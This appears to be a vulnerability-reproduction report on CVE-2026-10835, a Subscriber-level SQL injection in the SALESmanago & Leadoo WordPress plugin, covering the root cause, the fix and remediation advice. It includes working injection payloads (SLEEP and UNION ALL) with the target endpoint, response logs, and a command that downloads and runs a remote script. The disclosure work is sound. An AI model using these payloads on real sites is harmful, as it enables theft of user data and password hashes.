CVE-2026-10835: Verified Reproduction
CVE-2026-10835: SALESmanago & Leadoo WordPress plugin SQL injection
CVE-2026-10835 is verified against the affected target. Vulnerability class: SQLi. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00241.
What Is CVE-2026-10835?
CVE-2026-10835 is a high-severity SQL injection in the SALESmanago & Leadoo WordPress plugin before 3.11.3. The plugin does not properly sanitize and escape user input, letting an attacker inject SQL. Pruva reproduced it (reproduction REPRO-2026-00241).
CVE-2026-10835 Severity & CVSS Score
CVE-2026-10835 is rated high severity, with a CVSS base score of 7.7 out of 10.
High — serious impact or readily exploitable. Prioritize remediation.
How to Reproduce CVE-2026-10835
pruva-verify REPRO-2026-00241 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00241/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-10835
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
base64-encoded JSON 'data' request parameter, 'dateFrom' field, sent to /wp-admin/admin-ajax.php action=salesmanago_export_count_contacts by an authenticated Subscriber
- POST /wp-admin/admin-ajax.php (authenticated Subscriber, no nonce required)
- ExportController::countContacts()
- SecureHelper::validate_ajax_nonce() (returns false but does not die for non-admins)
- ExportModel::parseArgs() (unsanitized $data
- dateFrom)
- ExportModel::getExportContactsQuery() (direct string interpolation A.post_date >= '{$this
- dateFrom}')
- $wpdb
- get_var()
How the agent worked
Root Cause and Exploit Chain for CVE-2026-10835
The SALESmanago & Leadoo WordPress plugin (before 3.11.3) is vulnerable to
authenticated SQL injection via the salesmanago_export_count_contacts AJAX
action. The plugin registers this action on wp_ajax_ (authenticated users
only) but the authorization helper SecureHelper::validate_ajax_nonce() returns
false early for any non-admin user without calling die()/wp_send_json_error(),
and ExportController::countContacts() ignores the return value — so an
authenticated user with the minimal Subscriber role reaches the vulnerable
query with no nonce required. ExportModel::parseArgs() reads the
base64-decoded JSON data request parameter and assigns $data->dateFrom
directly to $this->dateFrom with no sanitization; ExportModel::getExportContactsQuery()
then interpolates that value directly into a SQL string
(A.post_date >= '{$this->dateFrom}'), which is classic SQL injection. The
injection was confirmed end-to-end against a real WordPress + MySQL stack: a
time-based blind SLEEP() payload produced a response delay that scales
linearly with the sleep duration, and a UNION ALL payload extracted the
wp_users row count directly through the injection.
- Package/component affected:
SALESmanago & LeadooWordPress plugin (slugsalesmanago), specificallysrc/Admin/Model/ExportModel.php(parseArgs()+getExportContactsQuery()) andsrc/Includes/SecureHelper.php(validate_ajax_nonce()). - Affected versions: all versions up to and including 3.11.2 (fixed in 3.11.3).
- Risk level: High (CVSS 7.7 per the WPScan advisory). An authenticated Subscriber (or any role) can append arbitrary SQL to the export-contacts count query and exfiltrate sensitive data such as user password hashes, secret keys, and the contents of any database table via time-based/boolean/UNION techniques.
Impact Parity
- Disclosed/claimed maximum impact: SQL injection allowing an authenticated attacker (Subscriber+) to extract sensitive information from the database.
- Reproduced impact from this run:
- Time-based blind SQL injection —
SLEEP(N)executed inside the SQL engine, response delay scaling linearly with N (≈6 s per unit). - Data extraction — a
UNION ALLinjection returned thewp_usersrow count (count = 2, matching the ground-truth value read independently via$wpdb).
- Time-based blind SQL injection —
- Parity:
full. The claimed SQL-injection/data-extraction impact was demonstrated through the real remote/wp-admin/admin-ajax.phpendpoint with an authenticated Subscriber session. - Not demonstrated: This proof focused on counting/extraction primitives; a
full dump of password hashes was not performed (out of scope for a
reproduction). The demonstrated primitives are sufficient to mount such an
extraction with standard SQLi tooling (e.g. sqlmap on the
data/dateFromparameter).
Root Cause
Two defects combine to produce the vulnerability:
Missing input sanitization + string interpolation in SQL.
ExportModel::parseArgs()(vulnerable 3.11.2):$data = json_decode( base64_decode( $_REQUEST['data'] ) ); $this->dateFrom = empty( $data->dateFrom ) ? '2000-01-01' : $data->dateFrom; // NO sanitizationExportModel::getExportContactsQuery()then builds the query by direct interpolation:$query .= "WHERE A.post_type = 'shop_order' AND A.post_date >= '{$this->dateFrom}' AND A.post_date <= '{$this->dateTo}'";$this->dateFromis attacker-controlled and unsanitized, so a single quote indateFrombreaks out of the string literal and injects arbitrary SQL. Note the query is post-processed withpreg_replace('/\s\s+/', ' ', $query), which collapses newlines to single spaces; this is why a--line comment must not be used (it would also comment out the closing) AS qwerty), and why the working payloads balance the SQL instead.Broken authorization on the AJAX action.
SecureHelper::validate_ajax_nonce()(vulnerable 3.11.2):public static function validate_ajax_nonce($action) { if ( function_exists('current_user_can') && ! current_user_can('manage_options') ) { return false; // <-- Subscriber hits this: returns, but does NOT die() } ... // check_ajax_referer() / wp_send_json_error() never reached for non-admins }ExportController::countContacts()callsSecureHelper::validate_ajax_nonce(...)but ignores its return value, so execution continues toparseArgs()and the vulnerable query regardless. A Subscriber therefore reaches the SQL with no nonce and no capability check.
Fix (3.11.3):
validate_ajax_nonce()now enforces both a valid nonce (check_ajax_referer('salesmanago_admin','sm_nonce',false)) andcurrent_user_can('manage_options'), callingwp_send_json_error(['message'=>'forbidden'], 403)(which dies) on failure — so a Subscriber is blocked with HTTP 403.parseArgs()now validates input:sanitize_text_field(), strict base64 decode, JSON-error checking, and a newvalidate_date_format()fordateFrom.getExportContactsQuery()now uses$wpdb->prepare()with%splaceholders:
eliminating the string interpolation.$query .= $this->db->prepare(" AND A.post_date >= %s AND A.post_date <= %s ", $this->dateFrom, $this->dateTo);
Fixed-version reference: WordPress.org plugin download
https://downloads.wordpress.org/plugin/salesmanago.3.11.3.zip; advisory
https://a8cteam5105.wordpress.com/vulnerability/3c7b37ab-b069-4257-82b2-5b4c54f7e503/.
Reproduction Steps
- Reference script:
bundle/repro/reproduction_steps.sh(self-contained; also usesbundle/repro/docker-compose.yml). - What the script does:
- Stands up a real WordPress 6.7 (PHP 8.2) + MySQL 8.0 stack via Docker
Compose. Because the sandbox host cannot reach the Docker bridge network
(different mount/network namespace), all HTTP interaction is executed
inside the WordPress container via
docker compose exec. - Runs the WordPress 5-minute install, seeds a minimal
salesmanago_configurationoption (viawp eval-file/$wpdb, since thewordpress:apacheimage ships nomysqlCLI), copies the plugin into the container viadocker cp(bind mounts do not work across the namespace boundary), activates it, and creates a Subscriber user plus two dummy posts. - Logs in as the Subscriber through the real
wp-login.phpcookie flow. - Sends SQL-injection payloads to the real
/wp-admin/admin-ajax.phpendpoint (action=salesmanago_export_count_contacts,data= base64 JSON with an injecteddateFrom), measuring HTTP status and response time, and parses thecountfield from the JSON response. - Repeats the entire flow against the fixed 3.11.3 plugin as a negative
control, then compares results and writes
runtime_manifest.json.
- Stands up a real WordPress 6.7 (PHP 8.2) + MySQL 8.0 stack via Docker
Compose. Because the sandbox host cannot reach the Docker bridge network
(different mount/network namespace), all HTTP interaction is executed
inside the WordPress container via
- Expected evidence of reproduction:
- Vulnerable 3.11.2:
SLEEP(0)≈0.07 s,SLEEP(1)≈6.07 s,SLEEP(2)≈12.01 s(linear timing → blind SQLi), andUNION ALLextractioncount = 2matching the ground-truthwp_usersrow count. - Fixed 3.11.3: every Subscriber request returns HTTP 403
{"success":false,"data":{"message":"forbidden"}}with no timing delay and nocountfield.
- Vulnerable 3.11.2:
Evidence
- Manifest:
bundle/repro/runtime_manifest.json(valid JSON; concrete timing, extraction, and fixed-control values). - Verdict:
bundle/repro/validation_verdict.json. - Run logs:
bundle/logs/vulnerable/run.log,bundle/logs/fixed/run.log. - Per-request captures:
bundle/logs/vulnerable/req_*.txt,bundle/logs/fixed/req_*.txt(each file is the raw curl body followed by a final lineHTTP_CODE TIME_TOTAL). - Summaries:
bundle/logs/vulnerable/summary.csv,bundle/logs/fixed/summary.csv(name|http|time|count). - Ground truth:
bundle/logs/vulnerable/groundtruth_usercount.txt(2).
Key excerpts (vulnerable 3.11.2):
# Time-based blind SQLi — linear scaling (each row sleeps N seconds)
sleep0 | 200 | 0.075820s | count=1
sleep1 | 200 | 6.071948s | count=1
sleep2 | 200 | 12.012303s | count=1
# Data extraction — UNION ALL reads wp_users row count through the injection
union_usercount | 200 | 0.009666s | count=2 # matches ground-truth (admin + subscriber = 2)
union_nouser | 200 | 0.017291s | count=0 # WHERE ID=99999 -> 0 rows (control)
baseline | 200 | 0.010917s | count=0 # no injection
Raw vulnerable union_usercount response body (the injected dateFrom is
reflected back and count is the extracted value):
{"packageSize":400,...,"dateFrom":"2000-01-01' AND 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11 FROM (SELECT 1 AS post_date FROM wp_users) A WHERE '1'='1","dateTo":"2026-07-05","count":"2",...}
Fixed 3.11.3 negative control — Subscriber is blocked, no SQL executes:
sleep2 | 403 | 0.009891s | count=
union_usercount | 403 | 0.011896s | count=
Raw fixed union_usercount response: {"success":false,"data":{"message":"forbidden"}} (HTTP 403).
Environment: Docker wordpress:6.7-php8.2-apache + mysql:8.0; plugin
versions 3.11.2 (vulnerable) and 3.11.3 (fixed) downloaded from
downloads.wordpress.org. No sanitizer used; the oracle is wall-clock response
time and the JSON count field returned by the real product endpoint.
Recommendations / Next Steps
- Upgrade to SALESmanago & Leadoo 3.11.3 or later immediately.
- Fix approach (already applied in 3.11.3): use
$wpdb->prepare()with placeholders for every user-controlled value, validate/whitelistdateFromwith a date-format check, and enforce both a valid nonce andmanage_optionscapability on every export AJAX action (die on failure). - Defense in depth: register export actions only for
manage_optionsusers viaadd_action('wp_ajax_...', ...)combined with an explicitcurrent_user_can('manage_options')gate at the top of each handler; audit all other$wpdb->get_var/get_row/get_results/querycall sites for raw interpolation. - Testing: add an integration test that sends a SQLi payload (single quote,
SLEEP,UNION) to each export AJAX action as a Subscriber and asserts a 403 and no timing differential; add a static scan forbidding{$...}interpolation inside SQL strings passed to$wpdb.
Additional Notes
- Idempotency confirmation:
reproduction_steps.shwas run twice consecutively; both runs exited 0 and produced identical confirming results (timing scalingyes,union_usercount == groundtruth == 2, fixed control403). The stack is fully torn down (docker compose down -v) at the end of each instance, so each run starts from a clean MySQL volume. - Sandbox constraints handled: (a) the Docker daemon runs in a separate
mount namespace from the shell, so bind mounts see an empty directory — the
plugin is injected with
docker cpinstead; (b) thewordpress:apacheimage has nomysqlclient, so DB seeding/reads usewp eval-file(pure$wpdb); (c) the host cannot reach the container network, so all HTTP requests (wp-login.php,admin-ajax.php) run inside the container viadocker compose exec curl http://127.0.0.1/.... - Payload note: the
SLEEPpayload is balanced as2000-01-01' OR SLEEP(N) OR '1'='1rather than using a--comment, because the plugin'spreg_replace('/\s\s+/', ' ', $query)whitespace collapse turns newlines into spaces and would make--comment out the closing) AS qwerty, breaking the query (observed ascount:nullduring development). - Limitations: WooCommerce is not installed, so the export query's
shop_orderfilter matches zero rows by design; the time-based proof relies on theOR SLEEP(N)term being evaluated for the defaultpost/pagerows that theWHEREscans. The data-extraction proof uses a derived table(SELECT 1 AS post_date FROM wp_users) Aso the trailingAND A.post_date <= '<dateTo>'clause stays valid inside the UNION second SELECT. No destructive SQL was executed; onlySLEEP,UNION ALL, andCOUNTwere used.
CVE-2026-10835 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Artifacts and Evidence for CVE-2026-10835
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-10835
FAQ: CVE-2026-10835
Which versions of the SALESmanago & Leadoo plugin are affected by CVE-2026-10835?
How severe is CVE-2026-10835?
How can I reproduce CVE-2026-10835?
References for CVE-2026-10835
Authoritative sources for CVE-2026-10835 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.